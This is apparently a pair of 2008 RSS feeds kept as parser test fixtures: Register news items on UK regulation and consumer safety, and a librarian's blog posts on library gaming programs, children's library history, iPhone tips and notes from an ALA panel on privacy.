offencehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/ofcom_global_warming_swindle_adjudication/<h4>So says Ofcom</h4> <p>British regulator Ofcom has rejected complaints that the popular polemical film, <em>The Great Global Warming Swindle</em>, misled viewers. The regulator said it was paramount that the public received alternative points of view - even if these were not endorsed by institutions or the major political parties.…</p>Mon, 21 Jul 2008 11:55:50 GMT tag:theregister.co.uk,2005:story/2008/07/21/baa_fake_green_superjumbo_noise_nimbys/BAA 'invented green superjumbo' to OK Heathrow planshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/baa_fake_green_superjumbo_noise_nimbys/<h4>Noise nimbyism doesn't equal green, people</h4> <p><strong>Comment</strong> The BBC's renowned <em>Panorama</em> team - famous for breaking the "news" that Wi-Fi really does make your head explode - will tomorrow reveal that UK airport operator BAA has cynically colluded with the government to falsify the environmental impact of expanding Heathrow airport. According to early reports, BAA drove down the projected noise and emissions figures by stating that flights to and from Heathrow would be made by "non-existent" "green superjumbos" which will never be built.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567893?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567893?" border="0" alt=""></a> Mon, 21 Jul 2008 11:30:50 GMT tag:theregister.co.uk,2005:story/2008/07/21/speed_camera_myth/Jeremy Clarkson tilts at windmillshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/speed_camera_myth/<h4>Speed camera avoidance is an urban myth</h4> <p>Following last week’s <a href="http://www.theregister.co.uk/2008/07/18/speed_camera_swindon/">round-up of road news</a> by <cite>El Reg</cite> – and a number of reader comments about the new “average speed” cameras that are being rolled out across the UK - it's nice to see Jeremy Clarkson taking up the subject in <a href="http://www.thesun.co.uk/sol/homepage/news/columnists/clarkson/article1443173.ece">his column in the Sun</a>. (Just kidding- we know this has been a bugbear of JC since the dawn of time).…</p>Mon, 21 Jul 2008 11:22:10 GMT tag:theregister.co.uk,2005:story/2008/07/21/dodgy_dangerous_power/Dangerous mobe chargers flood UKhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/dodgy_dangerous_power/<h4>Buy cheap kit and pay the price</h4> <p>Cheap replacement chargers are flooding into UK shops, undercutting legitimate products while putting punters in danger from badly-made connections and low specifications.…</p>Mon, 21 Jul 2008 11:04:10 GMT Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.theshiftedlibrarian.com-rss.xml0000664000175000017500000017364112653701626027745 0ustar janjan The Shifted Librarian http://theshiftedlibrarian.com shifting libraries at the speed of byte Fri, 18 Jul 2008 13:30:23 +0000 http://wordpress.org/?v=2.1.2 en A Report from the Field from Rick Glady http://theshiftedlibrarian.com/archives/2008/07/18/a-report-from-the-field-from-rick-glady.html http://theshiftedlibrarian.com/archives/2008/07/18/a-report-from-the-field-from-rick-glady.html#comments Fri, 18 Jul 2008 13:30:23 +0000 jenny arizonagaming and librariesgaming in librarieslibrariesscottsdalewii http://theshiftedlibrarian.com/archives/2008/07/18/a-report-from-the-field-from-rick-glady.html

      gaming sign at the Civic Center Library in Scottsdale, AZ “We recently completed a 6-month trial of Family Gaming at the Civic Center Library, City of Scottsdale, Arizona. It began as an Adult Gaming program, but we didn’t seem to be able to draw in enough adults to make it worthwhile to be strictly an adult program.

      We did find out, however, from the first program that we drew patrons of all ages and had an attendance figure (based on an electronic door counter) of 200-300. The nice thing was the diversity, not just in terms of race, but ages as well of the attendees. If ever asked about the Wii, you can pass on that I had one woman who was in a wheelchair after 7 back surgeries playing Wii with her grandson, and I had one man who, although legally blind, was able to pitch an inning of baseball. In the end, we had over 1,100 attendees for the program.

      Just some basic facts: Scottsdale Public Library has a pretty successful teem gaming program (begun by me 3 years ago), and is holding gaming for kids 6-11 this summer at 2 libraries. I had 5 gaming systems: PS3 playing Rock Band, XBox 360 playing Viva Piñata, Wii playing Wii Sports, and 2 PS2’s playing Guitar Hero and DDR (the first month), and NickToons-the last five months.”

      Thank you to Rick for letting me know about this. I can’t wait to hear how the summer program goes.

      , , , , , ]]>       http://theshiftedlibrarian.com/archives/2008/07/18/a-report-from-the-field-from-rick-glady.html/feed/       Corrupting Young Minds (with Books) in the Library http://theshiftedlibrarian.com/archives/2008/07/17/corrupting-young-minds-with-books-in-the-library.html http://theshiftedlibrarian.com/archives/2008/07/17/corrupting-young-minds-with-books-in-the-library.html#comments Thu, 17 Jul 2008 11:45:31 +0000 jenny http://theshiftedlibrarian.com/archives/2008/07/17/corrupting-young-minds-with-books-in-the-library.html So it turns out there are a couple of potentially controversial things about the current issue of The New Yorker, one of them being an article called “The Lion and the Mouse” by Jill Lepore. I’ve always agreed with the ethic and attitude of “Library 2.0,” even though I didn’t like the implication that libraries had never before in our history evolved. For me, it symbolizes the need to change again, in what may seem to some like radical ways (online conversations, user-generated content, zoned physical spaces, collaborative relationships with users, etc.), but this article shows just one example of when this happened in the past. Libraries responded then, as many are responding now.

      As a proponent of gaming in libraries, one of the criticisms I hear about the movement is that libraries are for books and the edification of the mind. That we shouldn’t corrupt young minds with games, and that we shouldn’t use games as a ploy to get kids in the door. But libraries are vibrant places where quite a wide range of other things happen besides just books, and I think it’s sad when patrons or librarians portray us as just warehouses. Any building can be a book warehouse - that’s not what makes us “libraries” and community centers (regardless of type of library), and librarians certainly aren’t “book tellers,” just sitting behind a desk waiting to hand over a book in return for seeing a library card.

      I believe quite strongly that libraries are about content, people, and communities. The people create community there, often around the content, but not always, especially in public libraries where we also serve a recreational role. All of this is why I believe gaming in libraries is a perfect fit, and I cringe when I hear someone conjure up “the good old days” when all kids did was sit in the library and read. When I hear this, I wonder whose childhood they’re remembering, because while I certainly loved the library and would often read there, a lot of my friends never went there, maybe even most of them. The truth is that a lot of the kids I grew up with weren’t spending their days reading the classics unless they were forced to by teachers, let alone enlightening their minds by just sitting quietly in the middle of the library.

      And if we go back far enough in “the good old days,” it turns out they couldn’t have done those things even if they’d wanted to, because children simply weren’t allowed in the library, a point brought home in The New Yorker piece. While the author spends the majority of the article discussing rivalries between the early players in the world of book reviews of children’s literature, the background history is relevant to our own discussions today.

      “At the time [1895], you had to be fourteen, and a boy, to get into the Astor Library, which opened in 1854, the same year as the Boston Public Library, the country’s first publicly funded city library, where you had to be sixteen. Even if you got inside, the librarians would shush you, carping about how the ‘young fry’ read nothing but ‘the trashy’: Scott, Cooper, and Dickens (one century’s garbage being, as ever, another century’s Great Books). Samuel Tilden, who left $2.4 million to establish a free library in New York, nearly changed his mind when he found out that ninety percent of the books checked out of the Boston Public Library were fiction. Meanwhile, libraries were popping up in American cities and towns like crocuses at first melt. Between 1881 and 1917, Andrew Carnegie underwrote the construction of more than sixteen hundred public libraries in the United States, buildings from which children were routinely turned away, because they needed to be protected from morally corrupting books, especially novels. In 1894, at the annual meeting of the American Library Association, the Milwaukee Public Library’s Lutie Stearns read a ‘Report on the Reading of the Young.’ What if libraries were to set aside special books for children, Stearns wondered, shelved in separate rooms for children, staffed by librarians who actually liked children?

      Much of what [Anne Carroll] Moore did in that room had never been done before, or half as well. She brought in storytellers and, in her first year, organized two hundred story hours (and ten times as many two years later). She compiled a list of twenty-five hundred standard titles in children’s literature. She won the right to grant borrowing privileges to children; by 1913, children’s books accounted for a third of all the volumes borrowed from New York’s branch libraries. Against the prevailing sentiment of the day, she believed that her job was to give ‘to the child of foreign parentage a feeling of pride in the beautiful things of the country his parents have left….’ In each of the library’s branches, Moore abolished age restrictions. Down came the ‘Silence’ signs, up went framed prints of the work of children’s-book illustrators. “Do not expect or demand perfect quiet,” she instructed her staff. ‘The education of children begins at the open shelves.’ In place of locked cabinets, she provided every library with a big black ledger; if you could sign your name, you could borrow a book.” (Thanks, Richard!)

      So when we talk about “the good old days,” let’s be sure to specify which period we’re referring to, because just over a hundred years ago, fiction was the great corrupter of young minds. A few decades later, it was E. B. White’s “Stuart Little.”

      But things change, and now it’s games in the libraries that are bad influences or candy or inappropriate instead of books. What a difference a century makes! How much more powerful is it to look back on our history and see how library services to all patrons have changed during the last hundred years? It’s something to be proud of, even as we experience another transitional period and change again to serve new [and old] users in new ways.

      No Tags]]>       http://theshiftedlibrarian.com/archives/2008/07/17/corrupting-young-minds-with-books-in-the-library.html/feed/       5 Tips for iPhone App Users http://theshiftedlibrarian.com/archives/2008/07/16/5-tips-for-iphone-app-users.html http://theshiftedlibrarian.com/archives/2008/07/16/5-tips-for-iphone-app-users.html#comments Wed, 16 Jul 2008 11:47:49 +0000 jenny appsiphone http://theshiftedlibrarian.com/archives/2008/07/16/5-tips-for-iphone-app-users.html As a long-time Palm OS Treo user now on a Centro, I’ve been able to add any third-party application to my cell phone for years. In fact, before my Centro, one of my biggest problems was fitting all of the apps I’d downloaded on the phone and SD card. So it’s with a high level of amusement that I’ve watched iPhone users extol their new ability to add Apple-sanctioned apps to their phones.

      Yes, these folks are having a blast extending the usefulness of their devices because they can finally install non-Apple-produced software. While I am indeed chuckling to myself a little, overall this is a good thing, even if it does work only in a closed system. Why? Because it’s raising the bar for a larger percentage of the population. Expectations for interacting with information are again changing for millions of people, and that’s going to change how they expect to interact with their libraries, too. It’s great to see folks like Peter Brantley thinking about what this means.

      But back to all of the new iPhone app users - welcome to the world of being able to truly customize and personalize your smartphone. You no longer have a one-size fits all information device; instead, you now carry with you everywhere a miniature computer designed just for you. Your life will never be the same again, kind of the way things changed when you received your first email message or surfed the web for the first time.

      In the spirit of welcoming you into the fold, I offer you some time-tested advice about your new best friend that you just can’t seem to put down.

      1. You’re in that “wow, look at this app” and “wow, look at that app” phase, which is totally cool. I’ve been there myself, and the wow factor is difficult to resist. You should be having fun now that you can finally add functionality to your phone. I haven’t looked at the iTunes App store myself, and I don’t have an iPhone, so I’m taking a guess these are available, but take advantage of the trials to find out if you’ll really use an app before you purchase it. Experimenting is a good thing.
      2. Inevitably, you’ll install some apps now just because you can, and a few months from now you’ll realize you’re never actually using some of them. It’s okay to delete them. Really. They’re just taking up room and cluttering up your interface. If you really miss it, you can always go back and add it again.
      3. Games are a good thing, and I’m thrilled that you’ll finally be joining the portable gaming world. Having one or two games is a great thing, especially if you have kids. I can’t tell you how many times I’ve been standing in a line, blood pressure rising because I hate waiting, and then I started playing a game, which helped pass the time much more quickly. My stepkids loved using my phone to play games while waiting in long lines, thereby maintaining everyone’s sanity. I’m looking forward to seeing what innovative games appear for this new platform, so keep us posted on the best ones as they start appearing.
      4. As many of you are already finding out, that device in your pocket is now like having a mini-laptop attached to your hip. But the same way laptop batteries drain with constant use, so will your iPhone. So all those apps that are constantly checking the web - see suggestion #2 above. If you’re not using it and it’s draining your battery, delete it. Ask yourself if you really need to check email every minute or if it’s better (and healthier) to check it every hour or even less. Trust me - all of that email will still be there.
      5. Or, as Steve Rubel has suggested, turn off the wireless. You don’t need to be hyper-connected 24/7, and it’s okay to put down the iPhone and walk away from it for a while. It - and all of your apps - will still be there when you get back. As Peter Parker’s Uncle Ben said, “With great power comes great responsibility.” You’re carrying around a lot of power with you now, but you need to control it, rather than letting it control you. Don’t get so caught up in the fun and new-found productivity that you lose the ability to disconnect, or worse yet, focus on the people you’re with. Basically, remember the axiom that just because you can, doesn’t mean you should. :)
      , ]]>       http://theshiftedlibrarian.com/archives/2008/07/16/5-tips-for-iphone-app-users.html/feed/       Digital Youth Wired for Action Conference http://theshiftedlibrarian.com/archives/2008/07/14/digital-youth-wired-for-action-conference.html http://theshiftedlibrarian.com/archives/2008/07/14/digital-youth-wired-for-action-conference.html#comments Tue, 15 Jul 2008 02:23:05 +0000 jenny anastasia goodsteindigital youth wired for actionplcmc http://theshiftedlibrarian.com/archives/2008/07/14/digital-youth-wired-for-action-conference.html If you’re anywhere around North Carolina on August 14, check out this one-day conference brought to you by the Public Library of Charlotte & Mecklenburg County. I met Anastasia Goodstein last year, although I didn’t get to hear her speak. If I was going to be in the area, I’d definitely want to hear what she has to say.

      About the Conference

      The 2008 Technology Summit Digital Youth Wired for Action is a high-impact conference designed to inspire new learning and creativity in library staff, educators and others from around the region interested in youth development and learning. The day will be filled with practical tips and methods to help integrate new technologies into the programs and services you offer to children and teens.

      The event’s keynote speaker will be Anastasia Goodstein author of Totally Wired: What Teens and Tweens Are Really Doing Online. Her blog, YPulse, is a leading media, technology and youth development information source, and School Library Journal recently published Goodstein’s article What Would Madison Avenue Do? Marketing to Teens.

      Tickets

      Tickets to this exciting event are just $20 per person and can be purchased online through the Library’s partnering agency, the Children’s Theatre of Charlotte, or call (704) 973-2828. (Note: a $5 handling fee will be added to all Internet and telephone orders.)

      Event Schedule

      8:30-9:00 a.m. Registration for morning session

      9:00 a.m.-12:15 p.m. Morning Session A Focus on Teen Services

      12:15-1:45 p.m. Break for lunch (maps of nearby dining choices will be provided)

      1:45-2:15 p.m.: Registration for afternoon session

      2:15-5:00 PM: Afternoon Session: A Focus on Children’s Services

      Venue Information

      ImaginOn
      300 E. 7th Street
      Charlotte, NC 28202

      First time visiting ImaginOn? Visit the ImaginOn website for directions, a map, and underground parking information.

      Tech Summit on Second Life

      A live audio stream of Anastasia’s presentations will be available on Second Life at Alliance Library’s InfoIsland Open Air Auditorium (103, 117, 33). For more information, contact Kelly Czarnecki at kczarnecki@plcmc.org or IM (instant message) BlueWings Hayek in Second Life.

      , , ]]>       http://theshiftedlibrarian.com/archives/2008/07/14/digital-youth-wired-for-action-conference.html/feed/       Announcing the 2007 Gaming Census! http://theshiftedlibrarian.com/archives/2008/07/14/announcing-the-2007-gaming-census.html http://theshiftedlibrarian.com/archives/2008/07/14/announcing-the-2007-gaming-census.html#comments Mon, 14 Jul 2008 11:40:56 +0000 jenny censusgaming and librariesgaming in librariesscott nicholson http://theshiftedlibrarian.com/archives/2008/07/14/announcing-the-2007-gaming-census.html This is an annual survey done by Dr. Scott Nicholson, associate professor at Syracuse University’s School of Information Studies, and is designed to collect information about gaming programs run in libraries in 2007. This can be any type of game (board, card, video, chess, puzzle) at any type of library (public, school, academic, or special). The focus is on gaming programs, where the libraries schedule an event of some type featuring games, and on gaming programs that were run sometime during the 2007 calendar year.

      You can take this survey at http://www.surveymonkey.com/s.aspx?sm=64bf17n2mW5s4QdKL6ctxg_3d_3d until the end of July.

      Data from last year’s census has been valuable in helping us to understand how libraries are using gaming and to get funding for other gaming programs. Adding data about your institution to our census will help us better understand how libraries are using data. You can see the publications that have used this data at http://gamelab.syr.edu/publications/. The results from this survey will be presented at the 2008 ALA TechSource Gaming, Learning, and Libraries Symposium.

      Questions? Contact Scott Nicholson at srnichol@syr.edu. I can tell you that having this kind of data has been crucial when talking with reporters, so I hope you’ll help and fill out the form for this year’s survey. Thanks!

      , , , ]]>       http://theshiftedlibrarian.com/archives/2008/07/14/announcing-the-2007-gaming-census.html/feed/       Stating the State of the Web http://theshiftedlibrarian.com/archives/2008/07/09/stating-the-state-of-the-web.html http://theshiftedlibrarian.com/archives/2008/07/09/stating-the-state-of-the-web.html#comments Wed, 09 Jul 2008 14:11:24 +0000 jenny facebookfail whalefirefoxiphonematthew inmanmyspaceredditrickrolltwitter http://theshiftedlibrarian.com/archives/2008/07/09/stating-the-state-of-the-web.html While I continue recovering from the mad fun that was Annual 2008, here’s another distracting link - The State of the Web - Summer 2008.

      State of the Web - Summer 2008

      For non-hipsters like me, here are some links to help explain the graphics:

      1. Fail Whale
      2. Firefox Download Day
      3. Why I’m Not Purchasing an iPhone 3G and Why Apple is a Brilliant Company
      4. reddit goes open source
      5. MySpace to release major site redesign
      6. Hmmm…not sure about the glossy buttons one. Anyone have a good link to support that one?
      7. Where Does Facebook Grow From Here
      8. 2 Girls 1 Cup (the video is not for the faint of heart, although this link is safe for work)
      9. Google Learns to Crawl Flash
      10. RickRolled
      , , , , , , , , ]]>       http://theshiftedlibrarian.com/archives/2008/07/09/stating-the-state-of-the-web.html/feed/       Dancing Across the Web http://theshiftedlibrarian.com/archives/2008/07/08/dancing-across-the-web.html http://theshiftedlibrarian.com/archives/2008/07/08/dancing-across-the-web.html#comments Wed, 09 Jul 2008 02:41:44 +0000 jenny http://theshiftedlibrarian.com/archives/2008/07/08/dancing-across-the-web.html From today’s New York Times, this made me smile today. I <3 user-generated content.

      No Tags]]>       http://theshiftedlibrarian.com/archives/2008/07/08/dancing-across-the-web.html/feed/       ALA2008 Privacy Revolution Panel http://theshiftedlibrarian.com/archives/2008/06/30/ala2008-privacy-revolution-panel.html http://theshiftedlibrarian.com/archives/2008/06/30/ala2008-privacy-revolution-panel.html#comments Mon, 30 Jun 2008 07:27:11 +0000 jenny alabeth givenscory doctorowdan rothopen society instituteprivacyprivacy revolution http://theshiftedlibrarian.com/archives/2008/06/30/ala2008-privacy-revolution-panel.html does anyone care if their library records are being tracked? should they?
      ALA OIF has received a grant from the Open Society Institute/Soros Foundation to explore the issue of privacy in the digital age

      Panelists: Dan Roth (Wired), Cory Doctorow (CrapHound), and Beth Givens (Privacy Rights Clearinghouse)

      Dan Roth
      no one ever talks about privacy in his world unless he asks the questions
      the only time it has ever come up that he can remember was in 2005 when a company lost 600,000 employees’ info (Time Warner) - happened to his parent org
      he talked to corporate communications, who hadn’t told anyone; they had lost the info a month before
      they said “we’ve only lost tapes 4 times this year”
      everyone at work was upset for days
      no one ever talked about it again & people stopped talking about it
      and these were journalists
      how can your reach the public if journalists don’t care?

      little incentive for consumers to care about privacy - not sure why they should care (except for the people in this room)
      beyond just the question of will a company get spanked for losing information, will consumers use it as a criterion for which companies they will deal with?
      some companies have said we have better privacy policies than google - you should trust us
      ask.com decided last year that privacy rights would set them apart
      - offered askeraser, where users could configure what was stored by the company
      but this wasn’t meaningful, and ask is still 4th or 5th in the market
      if you use the google toolbar, it’s collecting information about you - steve ballmer tried to make a big deal about it, but consumers didn’t care

      cited a survey in which 75% of privacy execs said they don’t share data
      however, marketers share the info (some even share SSNs), so the CEOs don’t know their companies are doing this

      the idea of the free economy - free as a business model
      you get something great in return for info about you
      they all count on ads being served up to you
      thinks there will be an arms race to offer more info about users, which means more collecting and more sharing
      this will build up to a point where we’re all completely findable online
      phorm - ad survey company that teams up with ISPs; tracks their users as soon as they log in until they turn off their computers and serve up ads the whole time
      there is no real way to opt out of it
      it will be very popular and is being tested in the US by Charter

      it’s time to decide where we stand on this
      if we don’t want to get stuff for free in exchange for data, we need to figure out some way to tell business that we do care about it and how we want to handle it
      it all looks hopeless, because it looks like americans don’t care
      but think about 7 years ago, when only a dedicated group cared about the environment
      now more people care, and the same could happen with privacy
      hopefully we won’t have to wait a decade to find out

      Beth Givens
      Privacy Rights Clearinghouse was established in 1992
      two types of privacy - informational privacy and constitutional privacy
      they concentrate on the former (ACLU and EFF concentrate on the latter)
      lines are blurred in reality, but there are too few of us all the way around
      provide practical information about how people can protect their identity in credit offers, medical privacy, government records, debt collection, etc. and from identity theft
      librarians can turn to the PRC for help with questions such as “how do I get rid of all of those credit card offers I get in the mail?”

      a few years ago, Sun CEO Scott McNealy said “you have no privacy, get over it already”
      he said visa knows what I bought, someone has my medical records, someone has my dental records, etc.
      1967 definition of privacy - when someone can decide what information about them is transmitted to others
      “informational self-determination”
      Canada & EU do a much better job than US; they have privacy commissioners and we don’t have that (no comprehensive data privacy law)
      instead, we have the sectoral approach - a law for this industry, another one for that industry, etc.
      HIPAA isn’t a privacy law, it’s a disclosure law
      it’s a swiss cheese approach and there are lots of holes
      Fair Credit Reporting Act was enacted in 1970 - wouldn’t make it out of congress today with the shape congress is in these days
      gives you a right of access to your credit report
      only creditors, employers, and landlords can access your credit report - if others access it, you can sue

      Fair Information Practices - FIPs
      when she analyzes an information bill, she has a mental checklist of these things (usage, collection, access, etc.) for evaluating it
      most privacy policies are not really privacy policies at all - they’re disclosure policies because there’s no omnibus privacy bill on the books
      usually in legalese it’s difficult to understand
      throwing up your hands and declaring you have no privacy is not a valid option
      instead, we need to take every opportunity to opt out - they have a guide on their website
      take control of uses of your personal information
      that way, lobbyists can’t say to legislators that we don’t need privacy legislation because only a few people opt out
      in fact, let legislators know this is important to enact

      librarians are the pioneers - use the PRC resources
      we can all do a better job of making sure our privacy is more protected, rather than less protected
      put books like Cory Doctorow’s Little Brother - as well as nonfiction - prominently on your shelves and help guide people to resources
      encourage users to visit the nonprofit advocacy group websites

      Cory Doctorow
      when we say do we need to care about the privacy of our patrons in light of the fact they’re already giving away their information on social networking sites, at least sn users are deciding when to give out their personal information
      how can you say info is private if other people know it?
      well, we have private but secret acts (going to the bathroom, having sex) - this is no different

      the further up the ladder you go and the higher up you are, the more power you have to selectively reveal information
      the lower you go, the less power you have to hide your info

      is this because of bureaucrats or our technology?
      why do we enter the skinner box? go online and give away our information?
      the system architects create the system, but others create the norms for us just giving away the info without thinking about it

      london is ground zero in the privacy wars
      wanted to use rfid passes instead of paper tickets - convert everyone over
      gave discounts to new rfid users by tripling the cost of paper tickets
      same thing with grocery loyalty cards
      aimed at people with the least choice

      thinks there are businesses who have manipulated the field
      this has raised a generation where this is now par for the course and this happens all day long, and not just in commercial settings
      it’s become the norm because you have to know what you’re doing to turn off the logging
      rfids are set up so that users have no ability to configure, read, or block them
      vendors say this would raise the cost of rfid, which is true - the same way seatbelts, brakes, etc. raise the cost (a company couldn’t offer a car today without those things)
      it wouldn’t be a market correction when that company went out of business - regulators would take care of it

      creates a climate where we have less respect for our own privacy
      also where malicious people can read your data and decide what to do with it

      libraries are the last bastion of DRM - they’re not treated as first-class citizens
      DRM - consumption of material - a word-by-word capacity to track what people are reading
      we should be deeply skeptical of these technologies
      libraries have a moral imperative to block technologies that expose user data (embodies a snitch)

      an information economy based on accessing information isn’t viable
      it’s a business model that no one wants
      no one woke up this morning asking to do less with their music

      at the end of the day, this surveillance undermines our personal security and our national security
      surveillance societies are ones where people don’t trust each other
      they undermine our security because it makes our haystacks bigger without making it easier to find the needles
      our information officials had everything they needed to know about 9/11
      the mad response since then has been to make the haystacks bigger
      we collect the information to fill the government databases to make it harder for the government to find the critical info
      can’t spot the important stuff in the unimportant stuff we’ve collected

      in the remote rail stations, we’ve replaced the guards with cameras, which are only forensic
      when you have that many cameras, no one watches them
      they don’t prevent crimes - they only help you solve them afterwards
      cctv is not a means to securing society
      crack addicts who mug and kill you for your cell phone don’t have long-term plans and cctvs don’t help with those scenarios

      these systems that we build that provide access to this information will determine the societies we build in the future
      our decisions as information professionals will determine whether our descendents curse us or praise us

      Q&A

      Q: what is at stake here overall?

      Beth: there’s a huge amount at stake. if we don’t somehow succeed in getting our message across about speaking out and protecting our privacy, we’ll lose it. so much data is gathered about us, and profiles are being built now; the movie “Minority Report” is a great example of ads being tailored to you. worries the most about when all of these cameras are outfitted with biometric readers that identify the shape of our face, which hooks into the drivers license database - this is very possible and is high on her list to worry about. worried we’re heading in that direction without asking the questions and putting up the barriers

      Dan: we’ve seen some of this already - what happens when our health records can be read by insurers and employers? what happens when you apply for a job and they can read those things? when you can’t get a drivers license because of what they know? when you can’t get married? once all of this info is out there, and if we don’t care, what happens when we develop into a nation of niches? you’re the kind of guy that shops for this one thing? as we move away from mass culture to atomization, how does having this private information out there affect us?

      Cory: one of the important things to recognzie about this data acquisition is that it’s like uranium. you can buy it on amazon for your science project, and it’s perfectly legal. but you can refine it into plutonium and this is a problem. a little of your private information is one thing, but you can quickly amass a lot of private information in the public domain without even knowing it. the internet will never unlearn what paris hilton’s genitals look like. these things never go back in the bottle. you will never be able to not look up what CEOs of companies were posting on usenet in the 90s. as we confront the potential of our society in 20 years, all of this info will be like smog and we won’t be able to destroy it

      dan: we’re in a golden age right now where most companies don’t know what to do with all of this info they have. they just keep collecting it, but at some point they’ll figure it out. if something is going to happen, it has to happen now

      cory: or it’s like the breakup of the soviet union, where you could buy the plutonium easily. cited a situation where selling blade servers came with the info on it. you’re loading the gun and handing it to successors forever

      beth: recommends the “Dig Dirt” report/survey about how employers are using social network sites and other information as a hiring tool (more than 50%) and making value judgments about individuals and keeping this to themselves. doesn’t apply to privacy or employment laws. old laws are inadequate for covering this kind of thing. let young people know, even though it might not do any good because they may not listen

      Q (Jessamyn): these databases exist - we know that. at what point do we either have to say the horse is out of the barn or that there are assurances about things happening? if we’re just waiting for the processors to hit the point where they can use the data, do we need a new strategy about serious top-down legislation? is there any purpose to doing something other than top-level stuff

      cory: calls it “turning forward the clock,” not “turning back the clock.” we’re going to regulate how this is used and teach people how to use it. respecting the awesome power of information and regulating this activity. could trivially build a skinner box that rewarded people for protecting their privacy and in fact justin hall is working on this with pmog - the passively multiplayer online gaming (http://pmog.com/)

      dan: looking for the transparency side. if we care about this as a society, we have to keep at this and find ways to make it happen. use game theory to your advantage to encourage people to do this. consumers don’t have any idea why they should care about this and you have to teach them why they do

      beth: very few people take advantage of the opportunity to view their credit reports. try to get the right of access into law now, because it doesn’t exist. PRC tried to do this last year but failed in california because of the information and credit industries. couldn’t get past the committee hearings. have to keep trying. counting on a “data valdez” doesn’t work because we’ve had one after another (their website keeps track of these security breaches - a running tally). when more people realize that the decision made about them (job, insurance, etc.) was caused by personal information that is out of their control, it will help energize them, but it’s difficult. california is a trendsetter in terms of legislation, but the information broker industry is fighting & blocking this legislation

      cory: other tips and tricks that make it easier to game the system - skipxxip (sp?) generates fake logins for registration sites. every time he gets a postal solicitation, he writes “deceased” on it and sends it back

      Q kate sheehan (blogger): about 8-9 years ago, Wired ran an article about how to be invisible online. is it even feasible anymore? is it even a good idea to try to make yourself invisible or to manage it? how do you buy a house then?

      beth: “how to be invisible” book. can’t be invisible because then someone else has to manage your mail. that’s why she’s a public activist. remember the unabomber? he owned the cabin so records showed that and even he couldn’t be invisible

      cory: thinks it’s just bad tactics; shift over the last few years is that “green can be glorious” - doesn’t involve suffering or eating food that tastes bad; being green can actually help us personally - there’s an imaginative opportunity to come up with cool ways to make privacy luxurious

      dan: would like to see a point where you can figure out what is being trapped and what you’re giving away. try to read the privacy policies of a lot of websites and they’re incomprehensible

      beth: that’s why the right of access would be very valuable - to see what is held about us

      dan: the one story he did about privacy, he talked to HP’s chief privacy officer. she described the amount of work HP does to keep user data private in the EU, but not in the US because we don’t require it. wasn’t a no-brainer to just do it here since they were already doing it there

      cory: defaults matter. if a router came with logging off by default (or apache) and you had to explicitly turn it on, we’d have a very different world. push legislation and best practices. firefox could do more to surface what information about you is being given away. linux could expose info. the open source world in particular could help with this by setting the defaults to off. there’s a really good inflection/leverage point there by just talking to some geeks in the right way

      Q: as librarians, people come into our institutions, how do we convince our users that privacy is important in the age of facebook? what do we do?

      cory: friend of his is a hacker who built the “hackerbot” - a robot sat on the floor on the ground with a router on it and it would sniff the area networks and grab unencrypted passwords. it would roll up to your feet and show you all of the passwords you just transmitted; a library that had over the door a printer that showed all of the info you disclosed would be very powerful. having slider bars that show red/green for amount of disclosure

      beth: described a game that could be used in libraries. it’s a town square where you’re challenged about privacy data and questions you can answer. can come up with creative ways to educate and inform people; use the library as a launching pad

      cory: in a few years, teachers will be able to datamine info about their students as a very instructive lesson

      dan: require that everyone check out cory’s books

      Q kate sheehan: we’re very concerned about privacy, so we don’t let users see everything they’ve ever checked out. we’re protecting their privacy, but they want to access that info. her library has the ability for the user to turn this on so they see it and staff don’t, but most libraries don’t have that. how do we balance this?

      cory: demand of vendors ways they collect information for only the user to access. maybe the data resides only on their library card and not on your server. stuff can live on the edges - doesn’t have to live in the middle, and it can be encrypted. it’s utterly conceivable that if there was demand for it, vendors would produce the solutions

      cory made an explicit statement that all of his remarks are in the public domain!

      q: how do we argue for this when privacy protections cost money?

      beth: could try scare tactics. the more you collect, the more the risk it can get breached. larry ponemon (sp?) has calculated the cost of data breaches ($100-200 cost per name per data breach). the lesson many of these entities have learned is that if we hadn’t collected all of this stuff, we wouldn’t be in trouble now. don’t keep data for very long

      cory: has a friend who described a conversation with a self-defense instructor. what do I do if I’m in a dark alley when two guys are following me and I’m alone? answer - don’t go to dark alleys alone

      q: as a consumer, i was better able to manage my privacy before 9/11 and before I bought a house. now my info is everywhere. how do I manage this?

      beth: in terms of property, create a living trust and don’t put it in your name - this will protect you from real estate ledgers. start young on this one. this is good in general - just have a PO box - so that it becomes habitual. this is why working with young people is so important.

      q: but traditional things like banking require a physical address and a Social Security number

      cory: need to take control of your technology; jailbreaking drm; take control of debate & learn to speak intelligently about this; danah boyd shows a slide on online predation and how rare these occurrences are - knowing how to speak about the issue is key. third thing is regime change - if you don’t participate in the electoral process, it will participate in you

      q: one of the big worries we’re facing today is that after 9/11, there is increased access by government to library information. there is a certain logic to the idea that we’ll be safe if we just give up our privacy. how much safer would we really be if the government knew everything everyone was reading?

      dan: thinks people are starting to say that all of data collection this hasn’t helped us at all

      cory: safety and security are not platonic universals. you can only be safe by definition from something. if you’re going to be made more safe from terrorists, you have to be less safe from government. this is at odds with the founding principle of this country. if you believe the former, you should go back to the soviet union. saying we are taking away your freedom to keep you safe from terrorism is a fundamentally unamerican premise

      q: we have this huge cult of celebrity that everyone feeds into where it’s a cool thing to divulge this information. there has to be a shift for librarians to educate people if there’s a drive to not give out that info. would need a celebrity campaign to counter the norm

      beth: that’s a great idea, especially for the long-term consequences

      dan: saw this happen in a story about a secretive billionaire. guy purchased a company and never talked to the press. his daughter had a blogging site, though, where she talked about her parents and the fights they’d get into, what she overheard them saying. it revealed a lot about this guy and it enabled dan to approach him to say here’s what I know about you. that blog *stopped* as soon as the guy found out about it

      q: transparency has ebbed and flowed across history and we’ll never have absolute privacy. we need to assert positive rights for privacy. how do we watch the watchers and take care of the positive ways?

      cory: his daughter is 5-months old, but their first game will probably be 10p for every cctv you spot. wants to make a campaign of post-it notes with closed eyes on them that people can put on cctv cameras - “don’t watch me”

      jessamyn: demystifying the media and telling people that it’s okay to not always believe the newspapers and magazines

